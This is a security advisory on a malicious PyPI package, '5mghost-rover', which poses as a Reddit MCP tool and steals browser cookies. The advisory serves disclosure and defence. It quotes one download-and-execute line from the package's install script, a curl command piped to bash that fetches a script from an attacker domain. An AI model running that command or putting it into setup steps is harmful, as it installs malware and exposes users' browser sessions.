GCVE-110-OSM-2026-1601

Advisory PublishedCVSS 5.4/10

Vulnetix · Advisory published April 9, 2026

Malicious package detected. Behaviors: code execution, network activity. Payload: src/reddit_mcp/cookie_manager.py Key findings: - Download and Execute in PKG-INFO: "curl-cffi>=0.7 Requires-Dist: fastmcp>=2.0 Requires-Dist: httpx>=0.25 Requires-D..." - Download and Execute in scripts/install.sh: "curl -fsSL https://mkterswingman.com/install/reddit-mcp.sh | bash" - Browser Data Theft in src/reddit_mcp/cookie_manager.py: "Chrome/Edge and sign in to Reddit, then rerun `reddit-mcp setup-cookies" - Shell Command Execution in src/reddit_mcp/cli.py: "subprocess.run(" - Shell Command Execution in src/reddit_mcp/cookie_manager.py: "subprocess.Popen(" IOCs: - urls: https://mkterswingman.com/install/reddit-mcp.sh, https://mkterswingman.com/install/reddit-mcp.ps1, https://www.loscerritosnews.net/2026/03/25/l-a-dodgers-tell-82-year-old-50-year-season-ticket-holder-go-digital-or-dont-go-at-all/, https://www.theatlantic.com/science/2026/03/china-science-superpower/686564/, https://www.loscerritosnews.net/2026/03/25/... (+4 more) - domains: mkterswingman.com, reddit-mcp.sh, www.loscerritosnews.net, www.theatlantic.com, i.redd.it (+7 more) - payloadFileHash: e378c48461e715b982b13bdb75c3996674008a2c2c3301c65b1503ed6914458c

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Weaknesses (CWE)

CWE-506Embedded Malicious Code

Risk Scores

CVSS 3.1

5.4/10

Medium · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Affected Products

Vendor	Product	Versions	Platforms
unknown	5mghost-rover	all (affected)	—

References

Malicious pypi package: 5mghost-rover

advisory

vendor

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